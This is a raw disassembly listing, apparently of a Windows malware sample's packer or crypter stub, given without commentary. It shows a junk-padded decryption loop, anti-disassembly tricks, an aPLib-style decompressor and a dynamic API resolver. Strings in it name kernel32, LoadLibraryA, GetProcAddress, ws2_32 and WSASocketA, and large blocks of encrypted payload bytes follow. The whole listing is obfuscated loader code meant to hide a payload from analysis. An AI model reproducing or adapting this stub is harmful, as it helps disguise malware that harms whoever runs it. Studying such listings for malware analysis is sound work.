		xor	esi, 6BBCE336h	; CODE XREF: .data:004F7168j
		and	bh, 0FBh


loc_4F710A:				; CODE XREF: .data:004F7152j
		mov	edi, [ecx]
		mov	dx, 0B8C4h
		xor	edi, 138F9135h
		push	36BDBA73h
		mov	dx, 5C5Ch
		pop	ebx
		add	edi, 565D29CAh
		movzx	eax, di
		xor	edi, 44A2873Bh
		xor	bx, 17D5h
		mov	[ecx], edi
		mov	edx, 617F2CB6h
		sub	ecx, 916E924h
		mov	bl, 73h
		add	ecx, 916E920h
		push	4E3C38BCh
		mov	ah, dl
		pop	eax
		dec	esi
		jnz	loc_4F710A
		and	ebx, 43DC61F9h
		push	edi
		pop	esi
		call	near ptr loc_4F7177+2
		lodsb
		jnz	short near ptr loc_4F716E+4
		jnp	short near ptr loc_4F7101+1
		icebp
		setalc
		push	edi
		inc	esp


loc_4F716E:				; CODE XREF: .data:004F7166j
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st


loc_4F7177:				; CODE XREF: .data:004F7160p
		mov	edx, 1B800F6Bh
; ---------------------------------------------------------------------------
		dd 0E8000000h, 12h, 99E0E312h, 550C3F5Eh, 0D1F85B6Ah, 0DA43736h
		dd 0B70FD3C2h, 815A58F7h, 0ED6F7DD7h, 20C2814Ah, 66000008h
		dd 0BB8679BEh, 0
; ---------------------------------------------------------------------------
		mov	si, bx


loc_4F71B3:				; CODE XREF: .data:004F7217j
		push	dword ptr [ebx+edx]
		mov	edi, esi
		pop	ecx
		mov	di, cx
		add	ecx, 7EF33D50h
		sub	esi, 22FFED88h
		xor	ecx, 661FAB49h
		movsx	edi, cx
		xor	ecx, 25225C4Eh
		add	ax, 851Eh
		push	ecx
		jmp	loc_4F71F1
; ---------------------------------------------------------------------------
		dw 0B81Bh
		dd 64F7F691h, 0D09382CDh, 0FCEFCEC9h
		db 85h
; ---------------------------------------------------------------------------


loc_4F71F1:				; CODE XREF: .data:004F71DDj
		pop	dword ptr [edx+ebx]
		jg	loc_4F71FD
		mov	ax, di


loc_4F71FD:				; CODE XREF: .data:004F71F4j
		mov	di, 0B400h
		sub	ebx, 3
		push	edx
		pop	eax
		dec	ebx
		jnb	loc_4F7211
		mov	si, 3DA9h


loc_4F7211:				; CODE XREF: .data:004F7207j
					; .data:004F7235j
		cmp	ebx, 0FFFFF8A0h
		jnz	loc_4F71B3
		jnp	loc_4F7229
		or	eax, 0B25B606h


loc_4F7229:				; CODE XREF: .data:004F721Dj
		mov	edx, 5B936332h
		call	sub_4F723B
		add	[ecx], bh
		jle	short near ptr loc_4F7211+5
		sub	al, 0F5h
		mov	bh, bl

; =============== S U B	R O U T	I N E =======================================



sub_4F723B	proc near		; CODE XREF: .data:004F722Ep
		mov	dx, 7EC4h
		pop	esi
		mov	eax, ebx
		add	esi, 754h
		mov	edx, 3FE7463Ah
		mov	ecx, 1BAh
		mov	eax, 3C00A2C7h
		mov	ebx, [esi]
		push	ebx
		mov	edx, eax
		pop	edx
		sub	ebx, 660AC6EFh
		mov	eax, 0F11CBB7h
		add	ebx, 470DB5FCh
		call	near ptr loc_4F7275+5
		push	ebx
		nop


loc_4F7275:				; CODE XREF: sub_4F723B+33p
		mov	[esi-7EBA4351h], ecx
sub_4F723B	endp ; sp-analysis failed

		lock test bp, cx
		xor	[edi-7Fh], ebx
		retn
; ---------------------------------------------------------------------------
		db 85h
		dd 512B3174h, 831E895Fh, 800F04EEh, 4, 0BCFABF66h, 0F01E983h
		dd 0FFFFB685h, 66C38BFFh, 0CE8C38Bh, 54000000h,	0C043F2FDh
		dd 0EC9F3EF9h, 80BB4AB5h, 805F84D4h, 0C78169EEh, 6DBh
		dd 0CA816651h, 335A47A1h, 0FFCA8BDBh, 81663B34h, 5E37AAC1h
		dd 0F5B1168h, 6E4680Eh,	0BF0F560Dh, 815959D6h, 455342EEh
		dd 26BA6625h, 53EE8197h, 8B24EEBFh, 90EE81D7h, 8A0524F0h
		dd 0D08B56D5h, 0E81F048Fh, 9, 0B0F3622Dh, 0DC4FAE29h, 5880FE5h
		dd 0B9000000h, 32DB0E9Dh, 0AE958h, 5B6A0000h, 3736D1F8h
		dd 0D3C20DA4h, 6801EB83h, 0E06D73Ch, 58C8BF0Fh,	8B4B4B4Bh
		dd 0CCFB81D3h, 0FFFFFF9h, 0FFFF8285h, 38B0FFFh,	80000000h
		dd 2D6870C0h, 666E4D71h, 2FDCC081h, 10E859h, 61C80000h
		dd 9D744786h, 99E0E312h, 550C3F5Eh, 0F5E5B6Ah, 88Ah, 0F3815100h
		dd 36186DC5h, 20C68159h, 81000006h, 68CB72C9h, 681Ah, 665A0000h
		dd 3358C181h, 0F3234FFh, 1F8Dh,	198B0F00h, 0E8000000h
		dd 13h,	7AA59C0Fh, 4621882Bh, 0D25D3407h, 1E59A0A3h, 5815CCFFh
		dd 0DEBF0F5Fh, 83ACC781h, 0B9666AF1h, 0F7813F93h, 21FBA875h
		dd 0C781D88Bh, 24F8900Ah, 0DE9h, 0E7A60100h, 83323D94h
		dd 0DF7E3900h, 3C89F52Ch, 0D7F38016h, 51B230BBh, 2EEA8164h
		dd 8140EF0Ch, 0FB6DEBC3h, 2AC28124h, 0E840EF0Ch, 0Bh, 921DF4C7h
		dd 0DE196063h, 80D58CBFh, 8159B6D0h, 0FFFAD8FAh, 1B850FFFh
		dd 66000000h, 2BE9DE8Bh, 0AF000000h, 0CB9A45BCh, 0A766C1A8h
		dd 43F2FD54h, 9F3EF9C0h, 0D868B5ECh, 0B943577Ch, 78166Dh
		dd 0FF42E959h, 69F0FFFFh, 251C8FEEh, 0E8ABFAh, 5D000000h
		dd 5B5D895Bh, 5F5D895Bh, 0D858958h, 58000004h, 15A7D80h
		dd 85895975h, 425h, 33458D60h, 64C03350h, 896430FFh, 0E8C38B20h
		dd 2E4h, 648B1CEBh, 67640824h, 68Fh, 6104C483h,	5063458Dh
		dd 0E85F55FFh, 2DEh, 676409EBh,	68Fh, 0EB24C483h, 7048001Bh
		dd 0B6A1004Fh, 656B7C80h, 6C656E72h, 642E3233h,	0E8006C6Ch
		dd 29Ch, 8CB58DFCh, 0AD000000h,	1B74C00Bh, 0CB9F88Bh, 0F3000000h
		dd 10EBA4h, 20004010h, 19B2B343h, 0D700AB11h, 899D4C9Dh
		dd 429A5h, 68406A00h, 1000h, 408B5FFh, 6A0000h,	3F095FFh
		dd 85890000h, 1CCh, 4009D8Bh, 9D030000h, 40Dh, 4E85350h
		dd 6A000001h, 10006840h, 0B5FF0000h, 408h, 95FF006Ah, 3F0h
		dd 4318589h, 85890000h,	1D0h, 0A16764h,	2D858900h, 8B000004h
		dd 858B5B55h, 1D0h, 858B0289h, 408h, 8D044289h,	39F85h
		dd 55408B00h, 8B084289h, 3EC85h, 10428900h, 3E8858Bh, 42890000h
		dd 0CC958B14h, 0BB000001h, 1F8h, 0C1A7C8Bh, 1E74FF0Bh
		dd 101A4C8Bh, 1174C90Bh, 1D0BD03h, 748B0000h, 0F203141Ah
		dd 0F302F9C1h, 28C383A5h, 858BDAEBh, 1CCh, 0D0958B50h
		dd 52000001h, 0DA03188Bh, 3E4858Bh, 3890000h, 3E8858Bh
		dd 43890000h, 0EC858B04h, 89000003h, 5E5F0843h,	304468Bh
		dd 0C78589C7h, 8B000001h, 858B5B55h, 1C7h, 8D0C4289h, 40D9Dh
		dd 6A5300h, 16A006Ah, 85E8B57h,	6853DF03h, 8000h, 0FF56006Ah
		dd 3F495h, 0E0006800h, 0C3003Bh, 3600h
		db 0, 39h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pusha
		push	ebp
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		cld
		mov	dl, 80h


loc_4F7649:				; CODE XREF: .data:loc_4F7658j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_4F764F:				; CODE XREF: .data:004F76ADj
					; .data:004F76F2j ...
		add	dl, dl
		jnz	short loc_4F7658
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4F7658:				; CODE XREF: .data:004F7651j
		jnb	short loc_4F7649
		add	dl, dl
		jnz	short loc_4F7663
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4F7663:				; CODE XREF: .data:004F765Cj
		jnb	short loc_4F76AF
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4F7670
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4F7670:				; CODE XREF: .data:004F7669j
		jnb	loc_4F774C
		add	dl, dl
		jnz	short loc_4F767F
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4F767F:				; CODE XREF: .data:004F7678j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4F768A
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4F768A:				; CODE XREF: .data:004F7683j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4F7695
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4F7695:				; CODE XREF: .data:004F768Ej
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4F76A0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4F76A0:				; CODE XREF: .data:004F7699j
		adc	eax, eax
		jz	short loc_4F76AA
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4F76AA:				; CODE XREF: .data:004F76A2j
		mov	[edi], al
		inc	edi
		jmp	short loc_4F764F
; ---------------------------------------------------------------------------


loc_4F76AF:				; CODE XREF: .data:loc_4F7663j
		mov	eax, 1


loc_4F76B4:				; CODE XREF: .data:loc_4F76C8j
		add	dl, dl
		jnz	short loc_4F76BD
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4F76BD:				; CODE XREF: .data:004F76B6j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4F76C8
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4F76C8:				; CODE XREF: .data:004F76C1j
		jb	short loc_4F76B4
		sub	eax, 2
		jnz	short loc_4F76F7
		mov	ecx, 1


loc_4F76D4:				; CODE XREF: .data:loc_4F76E8j
		add	dl, dl
		jnz	short loc_4F76DD
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4F76DD:				; CODE XREF: .data:004F76D6j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4F76E8
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4F76E8:				; CODE XREF: .data:004F76E1j
		jb	short loc_4F76D4
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4F764F
; ---------------------------------------------------------------------------


loc_4F76F7:				; CODE XREF: .data:004F76CDj
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4F7705:				; CODE XREF: .data:loc_4F7719j
		add	dl, dl
		jnz	short loc_4F770E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4F770E:				; CODE XREF: .data:004F7707j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4F7719
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4F7719:				; CODE XREF: .data:004F7712j
		jb	short loc_4F7705
		cmp	eax, 7D00h
		jnb	short loc_4F773C
		cmp	eax, 500h
		jb	short loc_4F7737
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4F764F
; ---------------------------------------------------------------------------


loc_4F7737:				; CODE XREF: .data:004F7727j
		cmp	eax, 7Fh
		ja	short loc_4F773F


loc_4F773C:				; CODE XREF: .data:004F7720j
		add	ecx, 2


loc_4F773F:				; CODE XREF: .data:004F773Aj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4F764F
; ---------------------------------------------------------------------------


loc_4F774C:				; CODE XREF: .data:loc_4F7670j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4F7768
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4F764F
; ---------------------------------------------------------------------------


loc_4F7768:				; CODE XREF: .data:004F7754j
		pop	ebp
		sub	edi, [ebp+0Ch]
		mov	[ebp-4], edi
		popa
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		dd 7C80261Ch, 2424448Bh, 0FF000025h, 5FFh, 2D0001h, 66000100h
		dd 5A4D3881h, 8960F475h, 3F885h, 8BD08B00h, 3C4003D8h
		dd 89785803h, 30D9Dh, 0CC9D8D00h, 8D000003h, 3E4BDh, 89338B00h
		dd 37CB5h, 0BE800h, 83AB0000h, 3B8304C3h, 61EA7500h, 9D8B60C3h
		dd 30Dh, 3204B8Bh, 3318BCAh, 2FE8F2h, 0CEBF0000h, 3B49CD75h
		dd 830574C7h, 0E9EB04C1h, 2B204B2Bh, 3E9D1CAh, 0CA03244Bh
		dd 0C109B70Fh, 4B0302E1h, 8BCA031Ch, 89CA0309h,	611C244Ch
		dd 8EBA52C3h, 0AC9C3B24h, 1474C00Ah, 8B0D032h, 673EAD1h
		dd 0F39AF281h, 0C8FEC1A7h, 0E7EBF275h, 0A7C35A92h, 0F0B72551h
		dd 57A7493Bh, 13901902h, 0CE74EE32h, 49CD75h, 0A0000000h
		dd 0A17C80ADh, 777C80B6h, 517C801Dh, 0E47C809Ah, 7C809Ah
		dd 7C8000h, 28000218h, 0F2000F7Bh, 158h, 300h, 2 dup(400000h)
		dd 2 dup(0)
		dd 0F2000h, 0F1000h, 0
		dd 12FFA4h, 12FFE0h, 390000h, 1000h, 37200h, 16DA7h, 39000h
		dd 2600h, 125Eh, 3C000h, 15400h, 81E3h,	0F1000h, 1000h
		dd 0E31h, 44h dup(0)
		dd 2000h, 8, 6 dup(0)
		dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
		dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
		dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
		dd 3 dup(0)
		dd 0F7A10h, 0F79FCh, 3 dup(0)
		dd 0F7AB4h, 0F7AD9h, 3 dup(0)
		dd 0F7ABFh, 0F7AE1h, 3 dup(0)
		db 0CCh
		db 7Ah,	0Fh, 0
; ---------------------------------------------------------------------------
		jmp	loc_4F8A1B
; ---------------------------------------------------------------------------
		align 4
		dd 4 dup(0)
		dd 5F327377h, 642E3233h, 6F006C6Ch, 7561656Ch, 2E323374h
		dd 6C6C64h, 6E72656Bh, 32336C65h, 6C6C642Eh, 0AB876900h
		dd 71h,	126AEA00h, 77h,	812A0900h, 7Ch,	57000000h, 6F534153h
		dd 74656B63h, 41h, 69726156h, 43746E61h, 676E6168h, 70795465h
		dd 784565h, 61520000h, 45657369h, 70656378h, 6E6F6974h
		dd 0
		dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h
		dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h
		dd 6592260h, 2801142Bh,	70122051h, 1A0A012Ah, 47F45001h
		dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h,	9150BD24h
		dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h
		dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h
		dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h
		dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h
		dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h,	8401E488h
		dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h,	3968726Ch
		dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h
		dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h,	0DEE1D3Ah
		dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h
		dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h
		dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch
		dd 8320720h, 3618391Ch,	100F7A14h, 80900C23h, 0BE5653C0h
		dd 0C774074Ch, 3E8312h,	44683A75h, 0CC066701h, 0DFE8036Ah
		dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h
		dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h
		dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h
		dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h,	0ED859602h
		dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h
		dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h
		dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh
		dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h
		dd 3D0A043h, 0C795300h,	14751612h, 0E8130006h, 27D4DDA7h
		dd 0A7F6096h, 4460100h,	4C50EB6Eh, 3B4E0003h, 0D75C215h
		dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h
		dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h
		dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h
		dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h
		dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h
		dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h,	9E2A26h
		dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h,	30D476B9h
		dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch
		dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h
		dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h,	68016A04h
		dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch
		dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh
		dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h
		dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh,	1C259332h
		dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh,	0E4491312h
		dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h
		dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h
		dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h
		dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh,	2C05C700h
		dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h,	0ED7E0460h
		dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h,	0AD2B0C15h
		dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h
		dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h
		dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh
		dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h
		dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h
		dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h
		dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h
		dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch
		dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h,	2E24249h
		dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h
		dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h
		dd 0E55D759h, 557E800h,	74772117h, 46FD0050h, 85764963h
		dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h
		dd 19CCCB21h, 390BFBAh,	5CCDA7A0h, 7423A500h, 0E83A060Ch
		dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh
		dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h
		dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h
		dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h,	8400B175h
		dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h
		dd 0E345947h, 7850F82h,	9FFF6A66h, 48EB704Bh, 81166B29h
		dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h,	38832146h
		dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah
		dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch
		dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h, 0D32B7406h
		dd 0EB298B00h, 0B844CC05h, 4D4F0089h, 8F5CF1B9h, 0DB038520h
		dd 59B61FCAh, 64B490C3h, 0B1892E39h, 0B2A5032Dh, 0F6B80811h
		dd 0F2004914h, 40333C48h, 94EB03h, 8E07957Ah, 815C8D52h
		dd 9CEC2800h, 662668EAh, 4B7F19h, 3332FF64h, 30DA2289h
		dd 68288F00h, 3D800301h, 65700041h, 230A7E16h, 5D000713h
		dd 6F8861EFh, 0F8729EB5h, 1214008Ch, 0CA0FF868h, 0A30718CCh
		dd 3D832D88h, 841A0650h, 0EFB8002Fh, 5159D85h, 0C900330Eh
		dd 0F482C080h, 173D2A40h, 0DAF01h, 2770B841h, 7300BE2Ch
		dd 847C62C8h, 52805C6h,	0EA0014Ah, 8CF5005Ah, 6D68100Ah
		dd 87299707h, 0C3800F51h, 3BAF3E9h, 0E5EB14FEh,	5DF82EA0h
		dd 53001BC4h, 86C8E74Ch, 3CC840Fh, 21D2A4D5h, 0C7971A4Ah
		dd 0E068815Eh, 1291F0A1h, 0E74C29B0h, 0B24D0360h, 0D825F477h
		dd 423C3Ah, 0A63D51D5h,	0E4B52EB3h, 39FE601h, 61B88993h
		dd 117FDE4h, 153E3238h,	0E0535E57h, 0E9007505h,	0DA77CA51h
		dd 1F3B1A94h, 80290A52h, 5BDBC2E4h, 537CE080h, 0A17C051Ch
		dd 83390980h, 0B1528h, 480213DFh, 0E4F98108h, 7F27AD0Eh
		dd 176D0038h, 0B79C985h, 0C183031Ch, 240968Eh, 0CD97D2D5h
		dd 0EBF48100h, 51174A24h, 18460FDAh, 0F560F02Ch, 0D6780CBFh
		dd 0AE158203h, 752D709h, 938C9D66h, 4AB590EBh, 0C100ED80h
		dd 0EE030772h, 70FCF0Ch, 8112C216h, 7518F0FAh, 10009EE8h
		dd 31185B9h, 0A08E534Fh, 1CA40BEh, 97F0E983h, 0C401761Ch
		dd 7C0010FAh, 703C70Fh,	8B3034h, 2085D14Ch, 28A0D80Ch
		dd 0F37C0400h, 0C981428Ah, 808703C8h, 0B260889h, 5FF1490h
		dd 87B81C3Fh, 4EA83D0h,	0FCE2ABF0h, 7FE40186h, 15011217h
		dd 11EB6020h, 3CAC0B00h, 7C3A0C6Eh, 0CA96000Eh,	2C2B5F02h
		dd 13010D84h, 4A522A0Bh, 0A7701C0Ah, 4DB8C2h, 4D08B1FEh
		dd 0E1339048h, 9149200h, 31742506h, 47F2Ah, 0A154B0DAh
		dd 0AE802B64h, 1133C800h, 0B2FEC2F7h, 20AC1EE2h, 1F643EBh
		dd 8AB8FAC7h, 72E0A746h, 0C62B0800h, 58EB703Bh,	8806001Eh
		dd 2B64FE8h, 0DE00030Bh, 64455509h, 1FD8963Dh, 7A00733h
		dd 20670AA9h, 3E5A250Bh
		dd 0B0F8BF00h, 2A824D8h, 13760075h, 0C655F378h,	4600FC32h
		dd 8316A008h, 0FE7A23h,	0B02CC74Bh, 0B20994F8h,	13B34503h
		dd 984D665Ch, 7FDC5D3Fh, 418D0067h, 52D12B37h, 873D7FF3h
		dd 0C49CAEC9h, 0FBC5FA00h, 4C7DE9E3h, 7F39B412h, 91925304h
		dd 0C37AC466h, 25F80F47h, 8D00EFA8h, 1157E746h,	822CF4h
		dd 0B979EDD6h, 0D5C6301Eh, 0B5002B79h, 0AA6BE342h, 705AF813h
		dd 0C29A3A73h, 148D0A00h, 0E8D0BCC7h, 350B4600h, 0F82CEF9Eh
		dd 1B00060h, 489C5A59h,	30006BE9h, 7389DFA0h, 2C0239BAh
		dd 0D3C603h, 14095C1h, 990EFE81h, 0A137984Eh, 359AD285h
		dd 0FAC2F4h, 4D2E4C9Bh,	0A5F49009h, 4410BC00h, 1D5C890Dh
		dd 25B0013h, 3AEB1B87h,	431FE369h, 0C3001296h, 0E6BF5A92h
		dd 407F002Ch, 0D4B7C3Ch, 73C3921h, 8283090Ch, 84EF0017h
		dd 1CCD1D33h, 0AE2E4BB3h, 1FC20057h, 0EA7E1180h, 8E099200h
		dd 836252FDh, 0EB210307h, 1441A12Bh, 0B930C8C0h, 84421500h
		dd 7448C51h, 591913CAh,	0A8870EAFh, 78962640h, 6B050969h
		dd 8D41670Eh, 0C7A5FB80h, 0C2FC58F8h, 220D4A03h, 8CE30835h
		dd 468240FFh, 521D7C3Bh, 0D8400712h, 5FE82606h,	297B0099h
		dd 4470119h, 9D030320h,	7449F30Bh, 0C63FC824h, 0E8170781h
		dd 5033ABCFh, 117A842Dh, 0DD0024F6h, 485932C7h,	5EDF6Dh
		dd 3735F56Fh, 4D3E7D82h, 5D218300h, 9D10FE93h, 0C96C0094h
		dd 0F174D4CFh, 6B00E809h, 9833C606h, 8B3E36h, 0D7396C4h
		dd 22075CAh, 73A905Ch, 0BEC6490Ch, 8DCC5EF0h, 2E527FE1h
		dd 1C2FBAAh, 94B60CAh, 2E8FC882h, 8E90A23Bh, 0A03D02F8h
		dd 94167FEFh, 0C46E005Ch, 0AA808254h, 87B75D2h,	0EAC55E03h
		dd 98CDA984h, 0BF1620h,	0BD0B8291h, 0D4E19B80h,	775C5375h
		dd 0B184007Fh, 881F1728h, 4C7E006Ch, 19920B7Bh,	7F1F31D7h
		dd 0EBC38E43h, 90281F42h, 79F4BB74h, 16630026h,	67D10DE4h
		dd 12000E5Fh, 4E4149D8h, 3FF1B95h, 907889Ah, 0F6D87AE9h
		dd 1800EB3Bh, 0A29A448h, 927D83h, 0FD8498C7h, 4538153Dh
		dd 0C400B3FEh, 288C3501h, 7AD9B1D6h, 0F30A024Bh, 4432CEEEh
		dd 4C515160h, 3E66F51Dh, 0B0C0BC1Dh, 5658B61h, 0D33C0074h
		dd 92D60317h, 0EB004D32h, 41F211C1h, 5758Ch, 73D69DAh
		dd 15CAD33h, 4E0E6A00h,	645D4B7Eh, 559500D4h, 172DB68Dh
		dd 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh, 0C9F4D5FAh
		dd 2DE07B62h, 26006920h, 17210231h, 24C3838Eh, 53EEDCh
		dd 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh
		dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h
		dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh
		dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh
		dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh
		dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh
		dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h
		dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h,	88002449h
		dd 643CA351h, 7522CFAh,	851F8D28h, 0F0671016h, 6A58BDD8h
		dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h,	1E0051F1h
		dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h
		dd 80C125C3h, 53A92B5h,	7CED0D8h, 45C50154h, 0AAE9708Bh
		dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah
		dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h
		dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh
		dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h
		dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h
		dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h
		dd 459F8Bh, 0D332988Eh,	25C688A2h, 3DA16900h, 0A521A636h
		dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h
		dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h,	3B01C8C7h
		dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h
		dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h
		dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h
		dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h
